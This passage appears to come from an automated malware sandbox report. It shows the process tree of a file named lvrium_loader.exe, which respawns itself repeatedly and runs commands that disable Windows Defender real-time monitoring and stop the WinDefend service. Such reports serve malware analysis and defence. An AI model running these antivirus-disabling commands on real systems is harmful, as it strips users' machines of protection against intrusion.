        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        137⤵
        
        PID:10440
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        138⤵
        
        PID:10464
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        139⤵
        
        PID:10556
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        140⤵
        
        PID:10576
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        141⤵
        
        PID:10668
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        142⤵
        
        PID:10700
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        143⤵
        
        PID:10764
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        144⤵
        
        PID:10788
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        145⤵
        
        PID:10892
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        146⤵
        
        PID:10924
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        147⤵
        
        PID:11012
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        148⤵
        
        PID:11036
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        149⤵
        
        PID:11088
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        150⤵
        
        PID:11116
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        151⤵
        
        PID:11188
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        152⤵
        
        PID:11220
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        153⤵
        
        PID:10536
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        154⤵
        
        PID:10624
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        155⤵
        
        PID:11000
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        156⤵
        
        PID:11296
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        157⤵
        
        PID:11368
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        158⤵
        
        PID:11400
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        159⤵
        
        PID:11472
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        160⤵
        
        PID:11492
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        161⤵
        
        PID:11584
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        162⤵
        
        PID:11616
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        163⤵
        
        PID:11688
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        164⤵
        
        PID:11720
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        165⤵
        
        PID:11796
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        166⤵
        
        PID:11824
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        167⤵
        
        PID:11908
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        168⤵
        
        PID:11940
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        169⤵
        
        PID:12008
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        170⤵
        
        PID:12040
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        171⤵
        
        PID:12120
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        172⤵
        
        PID:12160
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        173⤵
        
        PID:12228
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        174⤵
        
        PID:12252
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        175⤵
        
        PID:11448
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        176⤵
        
        PID:11748
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        177⤵
        
        PID:12292
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        178⤵
        
        PID:12324
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        179⤵
        
        PID:12388
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        180⤵
        
        PID:12424
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        181⤵
        
        PID:12500
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        182⤵
        
        PID:12532
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        183⤵
        
        PID:12596
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        184⤵
        
        PID:12616
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        185⤵
        
        PID:12728
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        186⤵
        
        PID:12760
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        187⤵
        
        PID:12904
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        188⤵
        
        PID:12920
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        189⤵
        
        PID:13052
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        190⤵
        
        PID:13072
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        191⤵
        
        PID:13212
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        192⤵
        
        PID:13244
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        193⤵
        
        PID:13116
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        194⤵
        
        PID:13332
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        195⤵
        
        PID:13492
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        196⤵
        
        PID:13528
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        197⤵
        
        PID:13780
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        198⤵
        
        PID:13808
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        199⤵
        
        PID:14220
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        200⤵
        
        PID:14240
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        201⤵
        
        PID:14884
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        202⤵
        
        PID:15004
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        203⤵
        
        PID:17156
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        204⤵
        
        PID:17356
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        205⤵
        
        PID:21176
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        206⤵
        
        PID:20600
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        207⤵
        
        PID:28316
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        208⤵
        
        PID:30248
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c sc stop WinDefend 2>nul
        202⤵
        
        PID:30740
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c sc stop WinDefend 2>nul
        198⤵
        
        PID:28780
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c sc stop WinDefend 2>nul
        196⤵
        
        PID:28512
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c sc stop WinDefend 2>nul
        194⤵
        
        PID:28156
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c sc stop WinDefend 2>nul
        192⤵
        
        PID:28232
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c sc stop WinDefend 2>nul
        182⤵
        
        PID:26572
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c sc stop WinDefend 2>nul
        180⤵
        
        PID:26424
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c sc stop WinDefend 2>nul
        178⤵
        
        PID:26396
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c sc stop WinDefend 2>nul
        176⤵
        
        PID:26224
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c sc stop WinDefend 2>nul
        174⤵
        
        PID:26092
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c sc stop WinDefend 2>nul
        172⤵
        
        PID:25940
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        173⤵
        
        PID:28264
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        174⤵
        
        PID:31056
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c sc stop WinDefend 2>nul
        170⤵
        
        PID:25792
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c sc stop WinDefend 2>nul
        168⤵
        
        PID:25672
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c sc stop WinDefend 2>nul
        166⤵
        
        PID:25340
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c sc stop WinDefend 2>nul
        164⤵
        
        PID:25488
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c sc stop WinDefend 2>nul
        162⤵
        
        PID:25272
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c sc stop WinDefend 2>nul
        160⤵
        
        PID:25084
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c sc stop WinDefend 2>nul
        158⤵
        
        PID:24900
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c sc stop WinDefend 2>nul
        156⤵
        
        PID:24812
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c sc stop WinDefend 2>nul
        154⤵
        
        PID:24688
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c sc stop WinDefend 2>nul
        152⤵
        
        PID:24604
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c sc stop WinDefend 2>nul
        150⤵
        
        PID:23800
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c sc stop WinDefend 2>nul
        148⤵
        
        PID:24020
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c sc stop WinDefend 2>nul
        146⤵
        
        PID:24192
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c sc stop WinDefend 2>nul
        144⤵
        
        PID:23924
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        145⤵
        
        PID:31184
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c sc stop WinDefend 2>nul
        142⤵
        
        PID:23732
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        143⤵
        
        PID:30908
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c sc stop WinDefend 2>nul
        140⤵
        
        PID:22744
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c sc stop WinDefend 2>nul
        138⤵
        
        PID:23412
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        139⤵
        
        PID:28564
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c sc stop WinDefend 2>nul
        136⤵
        
        PID:22936
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        137⤵
        
        PID:30680
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c sc stop WinDefend 2>nul
        134⤵
        
        PID:22812
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        135⤵
        
        PID:30364
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c sc stop WinDefend 2>nul
        130⤵
        
        PID:22492
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c sc stop WinDefend 2>nul
        128⤵
        
        PID:20900
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c sc stop WinDefend 2>nul
        126⤵
        
        PID:22420
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        127⤵
        
        PID:30568
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c sc stop WinDefend 2>nul
        124⤵
        
        PID:22292
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c sc stop WinDefend 2>nul
        122⤵
        
        PID:22036
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        123⤵
        
        PID:29268
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c sc stop WinDefend 2>nul
        120⤵
        
        PID:22116
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c sc stop WinDefend 2>nul
        118⤵
        
        PID:21920
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        119⤵
        
        PID:29628
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c sc stop WinDefend 2>nul
        116⤵
        
        PID:21620
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c sc stop WinDefend 2>nul
        114⤵
        
        PID:20996
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c sc stop WinDefend 2>nul
        112⤵
        
        PID:21436
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        113⤵
        
        PID:27708
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        114⤵
        
        PID:30780
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c sc stop WinDefend 2>nul
        110⤵
        
        PID:21324
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c sc stop WinDefend 2>nul
        108⤵
        
        PID:21228
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        109⤵
        
        PID:28064
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        110⤵
        
        PID:30468
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c sc stop WinDefend 2>nul
        106⤵
        
        PID:21008
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c sc stop WinDefend 2>nul
        104⤵
        
        PID:20728
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c sc stop WinDefend 2>nul
        102⤵
        
        PID:20696
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c sc stop WinDefend 2>nul
        100⤵
        
        PID:19844
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c sc stop WinDefend 2>nul
        98⤵
        
        PID:20368
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c sc stop WinDefend 2>nul
        96⤵
        
        PID:20180
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c sc stop WinDefend 2>nul
        94⤵
        
        PID:20072
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        95⤵
        
        PID:25980
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        96⤵
        
        PID:26360
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c sc stop WinDefend 2>nul
        92⤵
        
        PID:19900
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        93⤵
        
        PID:26388
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c sc stop WinDefend 2>nul
        90⤵
        
        PID:19796
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        91⤵
        
        PID:26180
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        92⤵
        
        PID:26348
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c sc stop WinDefend 2>nul
        88⤵
        
        PID:19596
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        89⤵
        
        PID:25972
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        90⤵
        
        PID:26300
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c sc stop WinDefend 2>nul
        86⤵
        
        PID:19188
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        87⤵
        
        PID:25312
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        88⤵
        
        PID:24700
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c sc stop WinDefend 2>nul
        84⤵
        
        PID:19376
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        85⤵
        
        PID:23696
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        86⤵
        
        PID:24352
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c sc stop WinDefend 2>nul
        82⤵
        
        PID:19232
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        83⤵
        
        PID:25568
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        84⤵
        
        PID:26328
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c sc stop WinDefend 2>nul
        80⤵
        
        PID:19068
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        81⤵
        
        PID:24464
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        82⤵
        
        PID:24924
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c sc stop WinDefend 2>nul
        78⤵
        
        PID:18940
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        79⤵
        
        PID:24984
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        80⤵
        
        PID:25512
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c sc stop WinDefend 2>nul
        76⤵
        
        PID:18760
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        77⤵
        
        PID:23644
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        78⤵
        
        PID:25120
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c sc stop WinDefend 2>nul
        74⤵
        
        PID:18556
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        75⤵
        
        PID:24268
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        76⤵
        
        PID:23820
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c sc stop WinDefend 2>nul
        72⤵
        
        PID:18444
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        73⤵
        
        PID:23168
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        74⤵
        
        PID:23504
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        75⤵
        
        PID:31232
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c sc stop WinDefend 2>nul
        70⤵
        
        PID:18308
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        71⤵
        
        PID:23132
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        72⤵
        
        PID:23584
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        73⤵
        
        PID:27868
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c sc stop WinDefend 2>nul
        68⤵
        
        PID:18240
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        69⤵
        
        PID:23376
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        70⤵
        
        PID:23804
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        71⤵
        
        PID:30844
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c sc stop WinDefend 2>nul
        66⤵
        
        PID:18084
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        67⤵
        
        PID:23148
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        68⤵
        
        PID:23832
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        
